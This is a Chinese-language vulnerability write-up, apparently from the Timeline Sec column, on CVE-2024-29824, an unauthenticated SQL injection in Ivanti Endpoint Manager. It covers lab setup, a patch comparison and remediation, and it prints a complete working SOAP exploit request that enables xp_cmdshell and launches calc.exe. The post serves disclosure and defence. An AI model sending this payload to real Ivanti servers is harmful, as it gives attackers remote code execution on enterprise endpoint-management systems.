前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-29824:Ivanti EPM SQL注入漏洞

CVE-2024-29824:Ivanti EPM SQL注入漏洞

作者头像
Timeline Sec
发布2024-06-21 08:45:34
2020
发布2024-06-21 08:45:34
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

Ivanti Endpoint Manager (EPM) 是一款由 Ivanti 公司开发的综合性端点管理解决方案。它旨在帮助企业有效管理和保护其网络中的所有端点设备,包括桌面、笔记本电脑、服务器、移动设备和虚拟环境。

0x02 漏洞概述

漏洞编号:CVE-2024-29824

攻击者可以利用该漏洞进行未授权的 SQL 注入并可以执行系统任意代码。官方的公告中提出的是:

An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.

Ivanti EPM 2022 SU5 及更早版本的核心服务器中存在未指定的 SQL 注入漏洞,允许同一网络内未经身份验证的攻击者执行任意代码。(此设备内网环境中使用偏多)

0x03 影响版本

version <= Ivanti EPM 2022 SU5

0x04 环境搭建

下载安装包,需要注意的是:Ivanti Endpoint Manager 需要安装 Windows Server 下

然后一直点下一步就好了,安装过程大概需要 30 分钟左右,由于并没有许可,所以我们选择试用。

激活之后访问 https://IP 即可,这里访问首页会得到如下错误

这个错误并不影响我们漏洞复现,因此可以不纠结这个错误

0x05 漏洞复现

使用 BP 发送请求

使用 Process Hacker 查看进程,可以到 calc.exe 已经在后台运行,执行命令成功。

完整数据包:

代码语言:javascript
复制
POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
Host: host
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml
Content-Length: 720

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'calc.exe'--</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>

0x06 补丁对比

具体的分析可以看 horizon3

JetBrains dotPeek 搜索函数可以使用 Navigate->Go to Symbol... 进行搜索。

在 2022 SU5 中 RecordGoodApp 函数内容如下:

在这段代码中开发直接将用户输入与 SQL 语句通过字符串拼接在一起,最终导致了 SQL 注入并可以执行系统命令。而在补丁中

开发者将 SQL 查询改为了参数化查询,将用户的输入作为参数传递进去,有效防止了 SQL 注入

0x07 修复方式

  1. 更新补丁,可以在 https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US 下载该漏洞的补丁
  2. 不要开发到公网上

参考链接

  • https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
  • https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 补丁对比
  • 0x07 修复方式
  • 参考链接
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档